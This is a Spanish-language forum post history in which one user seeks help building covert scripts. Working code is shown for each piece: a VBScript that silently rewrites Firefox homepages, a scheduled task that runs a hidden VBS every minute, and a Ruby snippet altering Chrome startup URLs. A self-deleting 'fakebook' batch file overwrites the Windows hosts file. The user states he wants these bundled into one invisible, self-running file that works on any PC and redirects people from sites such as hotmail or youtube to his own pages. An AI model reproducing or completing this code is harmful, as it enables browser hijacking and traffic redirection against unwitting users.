Mensajes

no me funciona como quiero al usar 3 archivos de la siguiente manera

1- ejecuta el archivo invisible.vbs
2- invisible.vbs ejecuta el archivo bat o vbs
3-  bat o vbs realiza la tarea

de esta forma funciona bien pero al pasar los archivos a otro pc la ruta de los archivos no es la misma, aparte los puse en un rar aunto extraible y al quedar con extensión exe pues la descarga se bloquea.

porlo cual hago la siquiente pregunta

se puede hacer fucionar los 3 archivos en uno solo sin importar la extensión

quiero un archivo que se ejecute automaticamente (ej: como el que tengo arriba que al minuto llama a otro archivo), se ejecute en segundo plano y realise la tarea programada


gracias

hola. ayuda
pagina de inicio en Mozilla Firefox con vbs

tengo este codigo

Código [Seleccionar] Expandir

Rem *********************************************
Rem *   By JavCasta 2.010 - http://javcasta.com *
Rem *********************************************

Rem Script en vbs para definir página de inicio en Firefox
Rem probado en windows XP SP3 con Mozilla Firefox 3.6.6

aux = inputbox("Introduce página de inicio, p.e: http://www.google.es")
If (aux="") Then
    aux="http://www.javcasta.com"
end If
inicio0 = "user_pref(" & chr(34) & "browser.startup.homepage" & chr(34) & ","

inicio1 = inicio0 & chr(34) & aux & chr(34) & ");"

Rem msgbox inicio1

Rem obtenemos variable de entorno %appdata%
Set oShell = CreateObject( "WScript.Shell" )
vappdata=oShell.ExpandEnvironmentStrings("%APPDATA%")

Rem directorio de perfiles de firefox
vconffirefox= vappdata & "\Mozilla\Firefox\Profiles"

Rem si existe dir de perfiles de firefox
Set objFSO = CreateObject("Scripting.FileSystemObject")
Rem Set objFSO2 = CreateObject("Scripting.FileSystemObject")
If objFSO.FolderExists(vconffirefox) Then
    Set objFolder = objFSO.GetFolder(vconffirefox)
    Rem msgbox "Si existe " & vconffirefox
Else
    Wscript.Echo "Carpeta de perfiles de firefox no existe."
End If
Rem subdirectorios, tantos como perfiles
Set vSubdir = objFolder.SubFolders
Rem recorremos todos los perfiles (subcarpetas xxxx.default)

  For Each f1 in vSubdir
       Rem prefs.js abrimos para lectura
       Set objTextFile = objFSO.OpenTextFile(f1 & "\prefs.js",1)
       Set objTextFile2 = objFSO.CreateTextFile(f1 & "\prefstemp.js")
       
       Do While not objTextFile.AtEndOfStream
        linea = objTextFile.ReadLine
         
        if (Left(linea, 37)<>inicio0) Then
            objTextFile2.WriteLine linea
             
        Else
            objTextFile2.WriteLine inicio1
            MsgBox inicio1
        end if 
       Loop
       Rem End If 'if1
       objTextFile2.Close
       objTextFile.Close
       Set objFileCopy = objFSO.GetFile(f1 & "\prefstemp.js")
       objFileCopy.Delete(f1 & "\prefs.js")
       objFileCopy.Move(f1 & "\prefs.js")
   Next

funciona bien pero no quiero que aparezca el menu solicitando escribir la pagina de inicio y aceptar para realizar la operacion. quiero que sea por ej: http://foro.elhacker.net/index.php  y que al ejecutar el archivo se realise automaticamente el proceso.

gracias por sus respuestas

ok deacuerdo. todo desde vbs pero. ahi alguna forma de que si sucede un error no salga el mensaje en la pantalla.


gracias

los archivos bat vbs que tengo modifican y crear archivos en diferentes librerias. yo se como hacer el llado de los vas desde un vbs para que corra invisible al usuario tambien en tengo un archivo .cmd que ejecuta el vbs cada determinado tiempo.
entonces quiero colocar todo en un mismo exe.
gracias

Código [Seleccionar] Expandir


@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR C:\elhacker.vbs


Código [Seleccionar] Expandir

set objshell = createobject("wscript.shell")
objshell.run "archivo.cmd",vbhide

lugo el bat.

el probrema aqui es que por cada bat o vbs tendria que hacer dos archivos mas como los de arriba

si con el bract track 5 r 3. pero es mejor el La función FindProxyForURL(url,host) pues por lo que e leido. yo no busco tanto la funcion de ocultar la ip sino el redirecionamiento que se puede hacer con esa funcion.

pero yo no se que hacer con el archivo pac ni la configuracion del proxy pac....

Código [Seleccionar] Expandir



# -*- coding: UTF-8 -*-

@inichrome = ["http://www.elhacker.net/"]
@Content  = ""

open("Chrome.js", "r") do |text|
while (line = text.gets)
if line.include?("urls_to_restore_on_startup") then line = ("\"urls_to_restore_on_startup \": \"#{@inichrome}\",\"\n") end
@Content = @Content + "#{line}"
puts "#{line}"
end
end

open("NEW_Chrome.js", 'w') { |text| text.puts @Content}

__END__



cual es el error? gracias

supongamos que la ip de mi sitio es 213.33.33 si la coloco para que el navegador redirecione el trafico de hotmail.com a mi pagina pues llegarian a la ventana principal y quiero es llegen a una pagina segundario eje:  la ip de mi sitio es 213.33.33 y la direcion. pero yo quiero que las personas llegen directametne a  www.misitio.com www.misitio.com/midocumeto. gracias

Código [Seleccionar] Expandir

[color=green][/color]@echo off
title fakebook
color 2
echo.
echo # Copyright (c) 1993-1999 Microsoft Corp. > hosts.
echo # >> hosts.
echo # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.>>hosts.
echo # >> hosts.
echo # This file contains the mappings of IP addresses to host names. Each >> hosts.
echo # entry should be kept on an individual line. The IP address should>> hosts.
echo # be placed in the first column followed by the corresponding host name.>> hosts.
echo # The IP address and the host name should be separated by at least one >> hosts.
echo # space.>> hosts.
echo # >> hosts.
echo # Additionally, comments (such as these) may be inserted on individual >> hosts.
echo # lines or following the machine name denoted by a '#' symbol.>> hosts.
echo # >> hosts.
echo # For example: >>hosts.
echo # >> hosts.
echo #      102.54.94.97     rhino.acme.com          # source server >>hosts.
echo #       38.25.63.10     x.acme.com              # x client host >>hosts.
echo.  >> hosts.
echo 127.0.0.1       localhost >> hosts.
echo 127.0.0.1       www.facebook.com>> hosts.
echo 127.0.0.1 facebook.com >> hosts.
echo.
echo.
move "hosts. " "C:\WINDOWS\system32\drivers\etc"
del fakebook.bat

este bat funciona bien pero tengo una duda o mejor un problema si coloco mi ip para que las personas cuando bayan a entrar al elhacker.com sean enviados a mi sitio llegan a la pagina principal de ella y quiero que llegen a un sitio determinado por ej: http://foro.elhacker.net/seguridad/nueva_encuesta_mejor_firewall-t311306.0.html quiero que la persona llege a una direcion asi y pues si uso la ip llegara al menu principal.

gracias

pues tu idea de modificar el host es posible pero no quiero hacer algo asi cada ves que cambie de pc. quiero tener los archivos o archivos listos para que funcione en cualquier pc. gracias

hola amigos alguien me podria explicar como crear un proxy con la funcionLa función FindProxyForURL(url,host) pac para mi pc. en internet aparece mucha imformacion pero no entiendo.


http://sparcki.blogspot.com/2009/09/configuracion-automatica-proxy-usando.html

http://translate.google.com/translate?hl=es&sl=en&tl=es&u=http%3A%2F%2Fwww.craigjconsulting.com%2Fproxypac.html

http://sparcki.blogspot.com/2010/03/archivos-de-configuracion-de-proxy.html

http://en.wikipedia.org/wiki/Proxy_auto-config

quiero un archivo que pueda usar en cualquier pc y que cuando la persona intente ej entrar a yoube.com sea redirecionada a hotmail.com

gracias
Nota. si mi pregunta esta en un foro equivocado me podrian informar gracias